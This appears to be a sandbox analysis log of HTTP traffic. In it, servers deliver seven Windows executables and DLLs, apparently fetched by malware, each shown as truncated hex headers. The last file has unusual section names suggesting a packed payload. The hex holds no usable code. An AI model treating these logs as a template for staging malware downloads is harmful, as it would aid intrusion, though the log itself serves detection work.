Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 02:42:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 02:42:49 GMTContent-Type: application/octet-streamContent-Length: 3309056Last-Modified: Sun, 17 Nov 2024 02:27:05 GMTConnection: keep-aliveETag: "67395479-327e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 32 00 00 04 00 00 b1 75 33 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 6f 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 6f 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 70 65 77 6c 65 66 6e 00 c0 2b 00 00 b0 06 00 00 c0 2b 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 6f 64 61 74 68 6d 00 10 00 00 00 70 32 00 00 04 00 00 00 58 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 32 00 00 22 00 00 00 5c 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
